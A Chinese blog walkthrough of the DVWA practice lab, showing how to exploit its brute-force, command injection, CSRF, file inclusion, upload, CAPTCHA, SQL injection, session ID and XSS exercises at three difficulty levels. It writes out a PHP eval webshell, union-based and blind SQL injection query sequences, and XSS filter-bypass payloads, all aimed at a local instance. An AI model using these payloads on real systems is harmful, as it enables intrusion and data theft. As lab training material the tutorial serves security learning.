DVWA的安装与一些解答

本文详细介绍了DVWA(Damn Vulnerable Web Application)的安装过程,并逐一剖析了包括brute force、Command Injection、CSRF、File Inclusion、File Upload等在内的多个安全漏洞的低、中、高三个级别的攻击方式和防御措施,通过实战演示了SQL Injection、XSS等漏洞的利用和防范技巧。
摘要由CSDN通过智能技术生成


这篇文章很详细: 点我直达

1. 安装


2.brute force

2.1 low

直接爆破
在这里插入图片描述
设置payload

在这里插入图片描述
输入username:admin
password:password
在这里插入图片描述

2.2 medium

在这里插入图片描述
与low级别不同的是,这里有一个:
在这里插入图片描述
sleep函数会在爆破不成功时让程序停2s,所以会比较慢,但是还是可以做的

2.3 high

这一水平下,每次都需要使用token来验证,所以直接爆破没有用。所以构造payload时需要每次动态更新。
首先抓包,并构造需要爆破的地方:
在这里插入图片描述
第一处的payload很好构造,就不说了
第二处需要构造token
在这里插入图片描述
在settings下,我们需要在grep-extract下点add,界面如下:
在这里插入图片描述
点击fetch或refetch response,选中token部分,记得先复制一下。
在这里插入图片描述
回到payloads下,设置类型为recursive grep,我们需要将刚刚复制的token粘贴到initial payload for first request中
到这里并没有结束,还需要设置为1个线程。但是,新版的bp在哪里找呢?
在这里插入图片描述
按照图示的设置进行修改。

点击开始
在这里插入图片描述
得到结果,密码为password

3. Command Injection

3.1 Low

在这里插入图片描述
提交后,发现乱码
在这里插入图片描述

解决:
"./DVWA\DVWA-master\dvwa\includes\dvwaPage.inc.php"修改这个文件中所有的“charset=utf-8”为“charset=gb2312”,然后刷新即可

在这里插入图片描述
在这里插入图片描述

3.2 Medium

在这里插入图片描述
可以看到,代码中过滤了;和&&,但是我们依然可以注入:
在这里插入图片描述
在这里插入图片描述

3.3 High

在这里插入图片描述
这一模式下,过滤的字符变多了。但是仔细观察可以发现,虽然把"| “过滤了,但是我们可以用” |"来呀。所以,有:
在这里插入图片描述
在这里插入图片描述

4. CSRF

有关CSRF的介绍,见转载

4.1 Low

我们输入新密码和确认密码,查看地址栏:

vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

进入另一个页面,在地址栏输入这个地址,

在这里插入图片描述
可以看到,直接跳转到了密码成功的页面了,密码已经被修改

4.2 Medium

在Low的基础上,添加了referer验证,我们需要使用bp抓包,只要包含127.0.0.1就行了

4.3 High

在Medium的基础上,有加入了token验证

5. File Inclusion

5.1 Low

没有任何的过滤,直接
在这里插入图片描述

5.2 Medium

在这里插入图片描述
可以看到,直接用str_replace进行了过滤,但是这种方法有一种弊端,只能过滤一次,所以可以使用双写绕过过滤

http://localhost:8789/vulnerabilities/fi/?page=htthttp://p://127.0.0.1:8789/phpinfo.php

在这里插入图片描述

5.3 High

在这里插入图片描述
分析代码,发现page必须是file开头的或者include.php。我们不要include.php,所以就必须构造一个以file开头的page,联想到使用file协议

http://localhost:8789/vulnerabilities/fi/?page=
file:///e:\demo.php

在这里插入图片描述
我查看的是一句话木马,结果已经显示出来

6. File Upload

6.1 Low

没有任何防护,可以随便传
选择一个php文件,上传。文件内容如下:

<?php @eval($_POST['cmd']);?>

使用蚁剑或中国菜刀连接
在这里插入图片描述
注意,上传的位置一定要搞清楚,不然连不上的
连接成功后,打开shell就可以进行任何操作啦

6.2 Medium

在这里插入图片描述
这里应该是用content-type来检查文件类型。所以直接把它改成image/jpeg就可以上传了

6.3 High

这里会读取文件的最后一个.来限制文件名。所以一种思路是构造图片马
在这里插入图片描述

7. Insecure CAPCHA

7.1 Low

在这里插入图片描述
只要传入的step为2,就可以绕过验证码了

7.2 Medium

在这里插入图片描述
这里增加了检测是否做了第一步,但是研究代码发现,只要再擦混入一个passed_captcha就可以了,所以跟第一步没啥区别
在这里插入图片描述

7.3 High

在这里插入图片描述
发现只要满足验证码正确或者下面的两个参数对就可以了。所以可以直接bp抓包修改两个参数就行了
在这里插入图片描述
在这里插入图片描述

8. SQL Injection

手工注入一般步骤:

  1. 判断是否存在注入,若存在注入,判断是字符型还是数字型
  2. 查找字段数,使用1' order by 2#
  3. 查找注入点,使用如1' union select 1,2#
  4. 查库名,-1' union select 1,database()#
  5. 查表名,-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
  6. 查列名,-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='demo'#
  7. 爆flag,·-1’ union select flag from demo#·

8.1 Low

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

8.2 Medium

在这里插入图片描述
这里不能自己填了,只能选,但是可以用bp抓包改包来注入

8.3 High

在这里插入图片描述

避免了自动化sql注入攻击,但是仍然可以用bp抓包

9. SQL Injection(Blind)

9.1 Low

在这里插入图片描述
输入1,发现没有回显,只有是否存在,所以要用盲注

1' and 1=1#

有回显

1' and 1=2#

无回显
判断是存在字符注入

在这里插入图片描述

1' and length(database())=4#

发现有回显了,就说明数据库名是4个字符
接下来猜解每个字符,需要一个一个来做

1' and ascii(substr(databse(),1,1)) > 97

需要采用二分法
接下来猜解表的个数

1' and (select count (table_name) from information_schema.tables where table_schema=database())=x # (x为大于等于1的整数)

猜解表名长度

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #(x为大于等于1的整数)

猜解表名,需要一个一个比较,比较繁琐

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))><字母的ascii值 #

猜解字段个数

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=x #

猜解字段长度

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=x #

最后猜解字段字符,也需要一个一个猜

也可以使用时间盲注

1' and sleep(4)#
1' if(length(database()=1),sleep(5),1)

9.2 Medium

直接抓包解决

9.3 High

代码中添加了sleep(seconds),基于时间盲注的被干扰了,而且添加了limit 1,只能返回一个结果。但是可以用#注释掉

哎呀,太复杂啦,不如直接用sqlmap方便

10. Weak Session IDs

由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。

10.1 Low

我们第一次使用bp抓包
在这里插入图片描述
再用bp抓包,发现dvwaSession变了
在这里插入图片描述
现在我们改变参数,继续访问第一次访问的页面
发现可以直接登录。说明只要知道了PHPSESSID就可以绕过密码直接访问了

10.2 Medium

在这里插入图片描述
审计一下代码,发现这是基于时间戳来设置sessionid的,只要把时间戳转换一下就可以了

10.3 High

在这里插入图片描述
只是在Low的基础上,做了MD5,所以还是没啥防护

11. XSS(DOM)

11.1 Low

没有任何防护
在这里插入图片描述
DOM树原本是这样的:
在这里插入图片描述

构造payload,

http://localhost:8789/vulnerabilities/xss_d/?default=<script>alert(666)</script>

在这里插入图片描述
查看DOM树:
在这里插入图片描述
发现被存储到DOM树里面了,以后每次刷新,都会执行一下这个脚本

11.2 Medium

这里先检测default参数是否存在和是否为空,并利用传入的default来赋值。接着过滤了script,我们可以使用

<img src=1 onerror=alert(666)>

来完成绕过

在这里插入图片描述
构造payload:

http://localhost:8789/vulnerabilities/xss_d/?default=<img src=1 onerror=alert(666)>

发现并没有显示出弹窗
检查代码
在这里插入图片描述
发现我们传入的值被插入到value中了。所以我们考虑闭合option
重新构造payload:

在这里插入图片描述

11.3 High

在这里插入图片描述

12. XSS(Reflected)

12.1 Low

没有过滤,直接构造payload

<script>alert(666)</script>

在这里插入图片描述

12.2 Medium

在这里插入图片描述
审计代码,发现过滤了script,但是是用str_replace过滤的。这种方式有一个缺陷,我们可以用大小写绕过和双写绕过。
我们这里使用大小写绕过
构造payload:

<sCript>alert(666)</sCript>

在这里插入图片描述

12.3 High

在这里插入图片描述
这里用正则表达式过滤了,双写和大小写都能过滤了。那就不能用script了,所以用

<img src=1 onerror=alert(666)>

在这里插入图片描述

13. XSS(Stored)

13.1 Low

没有过滤,直接写script语句就行了
在这里插入图片描述
在这里插入图片描述

13.2 Medium

addslashes(string) :函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ’ 、" 、\ 、NULL
strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars(string): 把预定义的字符 “<” (小于)、 “>” (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素

法1:双写绕过
法2:大小写绕过
法3:换payload

13.3 High

过滤了scritp,但是还是可以用img或iframe等标签

终于结束了,现在DVWA好像又有新的了,后面可能会更新罢。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一只菜鸟呀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值